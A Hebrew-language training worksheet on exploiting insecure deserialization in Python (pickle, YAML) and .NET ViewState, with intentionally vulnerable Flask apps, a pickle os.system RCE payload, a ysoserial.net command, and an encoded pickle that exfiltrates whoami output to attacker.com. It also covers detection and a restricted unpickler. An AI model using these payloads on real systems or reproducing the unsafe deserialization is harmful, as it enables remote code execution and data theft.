דסריאליזציה מתקדמת - Python ו-NET - תרגיל¶
תרגיל 1 - ניצול Python Pickle¶
רקע¶
נתונה האפליקציה הבאה:
from flask import Flask, request, make_response
import pickle
import base64
app = Flask(__name__)
@app.route('/')
def index():
cookie = request.cookies.get('session_data')
if cookie:
try:
data = pickle.loads(base64.b64decode(cookie))
return f"Welcome back, {data.get('username', 'unknown')}!"
except:
return "Invalid session"
# יצירת session חדש
session = {'username': 'guest', 'role': 'user'}
encoded = base64.b64encode(pickle.dumps(session)).decode()
resp = make_response("New session created!")
resp.set_cookie('session_data', encoded)
return resp
@app.route('/admin')
def admin():
cookie = request.cookies.get('session_data')
if cookie:
data = pickle.loads(base64.b64decode(cookie))
if data.get('role') == 'admin':
return "Welcome to admin panel!"
return "Access denied", 403
if __name__ == '__main__':
app.run(debug=True, port=5000)
משימות¶
- הריצו את האפליקציה מקומית
- קראו את ה-Cookie ופענחו אותו (Base64 ואז pickle)
- שנו את ה-role ל-admin כדי לגשת ל-
/admin - צרו Pickle payload שמריץ את הפקודה
idעל השרת - צרו Pickle payload שקורא את
/etc/passwdושולח את התוכן לשרת שלכם
פתרון חלקי לסעיף 4¶
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(f"Cookie value: {payload}")
# שלחו את ה-Cookie לאפליקציה:
# curl http://localhost:5000/ -b "session_data=PAYLOAD_HERE"
תרגיל 2 - ניצול YAML¶
רקע¶
נתונה אפליקציה שמקבלת קובץ תצורה ב-YAML:
from flask import Flask, request
import yaml
app = Flask(__name__)
@app.route('/configure', methods=['POST'])
def configure():
config_text = request.form.get('config', '')
try:
config = yaml.load(config_text, Loader=yaml.FullLoader)
return f"Configuration applied: {config}"
except Exception as e:
return f"Error: {str(e)}", 400
if __name__ == '__main__':
app.run(debug=True, port=5001)
משימות¶
- שלחו תצורת YAML תקינה ובדקו שהאפליקציה עובדת
- נסו payload של YAML RCE:
- האם ה-payload עובד? אם לא - חקרו מדוע (רמז:
yaml.FullLoaderלעומתyaml.UnsafeLoader) - מצאו payload שעובד עם
FullLoader(רמז: חפשו CVEs ב-PyYAML FullLoader bypass) - הציעו תיקון לקוד
תרגיל 3 - PortSwigger Deserialization Labs¶
משימה¶
השלימו את המעבדות הבאות:
Exploiting insecure deserialization to bypass access controls
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects
שלבים מנחים¶
- התחברו עם ההרשאות הנתונות
- בדקו את ה-Cookie - מצאו את האובייקט המסורלז (PHP serialized format)
- שנו את שדה ה-admin מ-0 ל-1
- קודדו מחדש ב-Base64
- גשו לפאנל הניהול
תרגיל 4 - בניית כלי זיהוי¶
משימה¶
כתבו סקריפט Python שמזהה סוגי סריאליזציה בתעבורת HTTP:
#!/usr/bin/env python3
"""
Deserialization Format Detector
"""
import base64
import sys
import re
def detect_format(data_string):
"""
מקבל מחרוזת (אולי Base64) ומזהה את פורמט הסריאליזציה
"""
results = []
# TODO: נסו לפענח Base64
try:
decoded = base64.b64decode(data_string)
except:
decoded = data_string.encode() if isinstance(data_string, str) else data_string
# TODO: בדקו Java serialization (AC ED 00 05)
# TODO: בדקו Python pickle (0x80 0x02-0x05)
# TODO: בדקו .NET BinaryFormatter (00 01 00 00)
# TODO: בדקו PHP serialized (O:4:"User":2:{...})
# TODO: בדקו .NET ViewState
# TODO: בדקו Ruby Marshal (04 08)
return results
def scan_http_request(request_text):
"""
סריקת בקשת HTTP מלאה
"""
findings = []
# TODO: חלצו cookies, פרמטרים, headers
# TODO: בדקו כל ערך עם detect_format
return findings
if __name__ == "__main__":
# קבלת קלט
if len(sys.argv) > 1:
data = sys.argv[1]
else:
data = input("Enter data to analyze: ")
results = detect_format(data)
for r in results:
print(f"[+] Detected: {r}")
דרישות¶
- זיהוי של לפחות 5 פורמטים שונים
- תמיכה בקלט Base64 ו-raw
- הצעת כלי ניצול מתאים לכל פורמט שנמצא
- הדפסת המלצות הגנה
תרגיל 5 - NET ViewState¶
רקע¶
מצאתם אפליקציית ASP.NET עם ה-web.config הבא:
<machineKey
validationKey="AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAABBBB"
decryptionKey="AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAA"
validation="SHA1"
decryption="AES" />
משימות¶
- מה המשמעות של Machine Key חשוף?
- כיצד תשתמשו ב-ysoserial.net כדי ליצור ViewState זדוני?
- כתבו את הפקודה המלאה ליצירת payload
- הסבירו כיצד תשלחו את ה-payload לאפליקציה
- מה ההגנות שצריך ליישם?
תשובה חלקית¶
# יצירת ViewState payload
ysoserial.exe -p ViewState \
-g TextFormattingRunProperties \
-c "powershell -enc ENCODED_COMMAND" \
--validationalg="SHA1" \
--validationkey="AAAA..." \
--decryptionalg="AES" \
--decryptionkey="AAAA..." \
--path="/default.aspx" \
--apppath="/"
תרגיל 6 - Pickle Protocol Analysis¶
משימה¶
נתח את ה-payload הבא וענה על השאלות:
gASVRAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCljdXJsIGh0dHA6Ly9hdHRhY2tlci5jb20vP2Q9JCh3aG9hbWkplIWUUpQu
שאלות¶
- מה פורמט ה-payload? (רמז: Base64)
- פענחו את ה-Base64 וזהו את ה-pickle protocol version
- מה הפקודה שה-payload מריץ?
- באיזה מודול Python הוא משתמש?
- כתבו את קוד ה-Python שייצר את ה-payload הזה
- כתבו גרסה מאובטחת של קוד שמפענח pickle עם whitelist של מחלקות מותרות:
import pickle
import io
class RestrictedUnpickler(pickle.Unpickler):
ALLOWED_CLASSES = {
# TODO: הגדירו מחלקות מותרות
}
def find_class(self, module, name):
if (module, name) in self.ALLOWED_CLASSES:
return self.ALLOWED_CLASSES[(module, name)]
raise pickle.UnpicklingError(
f"Class {module}.{name} is not allowed"
)
def safe_loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
תרגיל בונוס - CTF מותאם¶
תרחיש¶
אתם חוקרי אבטחה שנשכרו לבדוק אפליקציית Flask. מצאתם את נקודות הכניסה הבאות:
POST /api/import - מקבל קובץ pickle (Content-Type: application/octet-stream)
POST /api/config - מקבל YAML
GET /api/export?format=pickle - מחזיר נתונים ב-pickle
Cookie: user_session=<base64 encoded pickle>
משימות¶
- בדקו כל נקודת כניסה - האם היא פגיעה?
- צרו PoC (Proof of Concept) לכל חולשה שמצאתם
- השיגו RCE דרך לפחות אחת מנקודות הכניסה
- כתבו דוח שמסכם את הממצאים עם המלצות תיקון
סביבות תרגול נוספות¶
- PortSwigger: כל מעבדות Deserialization
- HackTheBox: מכונות עם תגית Deserialization
- TryHackMe: "Insecure Deserialization" room
- PentesterLab: "Pickle" challenge
- Root Me: Python pickle challenges